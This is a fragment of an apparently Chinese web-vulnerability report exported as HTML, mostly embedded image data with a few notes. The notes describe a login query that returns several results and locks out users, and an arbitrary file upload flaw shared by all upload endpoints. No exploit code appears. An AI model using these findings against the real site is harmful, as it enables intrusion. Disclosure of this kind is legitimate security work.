src="data:image/png;base64,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 truncated
之后进行登录时出现错误<br>
<a id=img13 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707818187974-0b1548b7-b923-48b9-aad1-6b82b12e5dd8.png#averageHue=%23ebeff4&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=332&amp;id=ued12dd63&amp;originHeight=498&amp;originWidth=1315&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=84717&amp;status=done&amp;style=none&amp;taskId=uc704af4d-c362-4684-a007-69762dbe265&amp;title=&amp;width=876.6666666666666"><img src=data:image/png;base64,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 truncated
查看报错<br>
<a id=img14 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707818255869-db1607a4-90f8-45ce-a984-e3de602122a4.png#averageHue=%23222428&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=515&amp;id=uf30e4e45&amp;originHeight=772&amp;originWidth=2184&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=267240&amp;status=done&amp;style=none&amp;taskId=ud923a265-5b21-4140-ae1f-cafa5cea2a2&amp;title=&amp;width=1456"><img src=data:image/png;base64,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 truncated
应该返回一个或者null但是返回了多个结果,导致用户无法登录。可直接影响管理员用户的登录。</p>
<h1 id=toc-2>任意文件上传</h1>
<p>此网站的所有上传接口均为此接口<br>
<a id=img15 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707819567394-069d59c7-052c-4386-b82e-2d96a471bf00.png#averageHue=%23eaeef3&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=309&amp;id=uce7c06f4&amp;originHeight=463&amp;originWidth=1471&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=78861&amp;status=done&amp;style=none&amp;taskId=uc86aecae-e093-4e8b-89c2-b7f47181be4&amp;title=&amp;width=980.6666666666666"><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABb8AAAHPCAYAAABz6KcxAAAgAElEQVR4nOzdfXRU9b3o//dMnkAFNCHyUEzUttIGuLYVJ4o0JZoTY061h5KOhFN7i3pTOHJ6xvyCcjks1rouDgdLbjq2eLG5Ws6pPQTTIBXbGNJouBHQjNCWJgSfiiSkSAgZeZCHPE1+f+w9M3v27JnMJDOZJHxea7E0M9/57u/eM5Ps72d/9udrGhgYGEAIIYSIoQHHuwx88lfo7Y31UEQ4EhIw3fJFTJa7Yj0SIUQUnLtwCVy9TJkyJXi7858DMGXydcHbnTs3aF9CCCGEEEJEUnysByCEEEKYLHdJAFUIIYQQQgghhBARZY71AIQQQgghhBBCCCGEEEKISJPgtxBCCCGEEEIIIYQQQohxR4LfQgghhBBCCCGEEEIIIcYdCX4LIYQQQgghhBBCCCGEGHck+C2EEEIIIYQQQgghhBBi3JHgtxBCCCGEEEIIIYQQQohxR4LfQgghhBBCCCGEEEIIIcad+HMXLkW0w8u9RyPanxBCCCGEECK43/12P+8cOBTRPst+ujWi/QFEeu4hhBBCCCFEMPGxHoAQQgghhBBieJKSEujv74v1MIQQQgghhBhVpOyJEEIIIYQQQgghhBBCiHFHMr+FEFHTcepM0Oe7u7vD6i8xMXHQNtNnpIbVpxBCCDFeLLHmxXoIQgghhBBCjCoS/BZCRNRgAW8hhBBCRIcp1gMQQgghhBBilJGyJ2F6/6V/4jvrD3D6VKfhv/Cc5w/r/4nvvHRs6AM6c4BnHvgnvvPAq7w/9F6C9r3tSKQ7jrHxul8AR17lOw88zx8iEH8+dfI0J1o/DeufBL6jxNXKi1v/O7f+7Ofs+SzWgxFCCCGEiLyW8mxy11bjjPVAhBBCCDGumM6evzgQyQ4v9x6NZHejzDG2PVAKpf+Hv08xDnR394a30JDzTHiRrGlfmBFWe/rCXfgovI/DxYtXwmp/zbXXhNXebA5vPFcu94TVvt/VH1b7vj5XWO3D3d/E+PCuR/W5whtPuFe7envDOz6JSQlhtZeyJ6Hp/tPLZL1dBzOfpqEgg6RYD0gIIcSo84c3HNyQfF1E+/zmwiXg6mXKlClB2507/zkAUyYH3/65c+fAHN65grhaHKE8ZxXY6ymaG+uxCCGEEGI8iULZk884/5MKek5rH4uDG1NJuO/vmHTHJJ8AXO9f/8znrx+iv10Ngk2aSty3H2CKtl3/JS7vb+ByfSuuC/1Kf7PSSXwwi0lfvAYTcKWugs9rggWSb2ViaR7XDmfPat/gt+Tw7Bzg1DA6EkLEzukGVu54iT08QNWPl/KNAI/f9P/KyDx8OEhH4b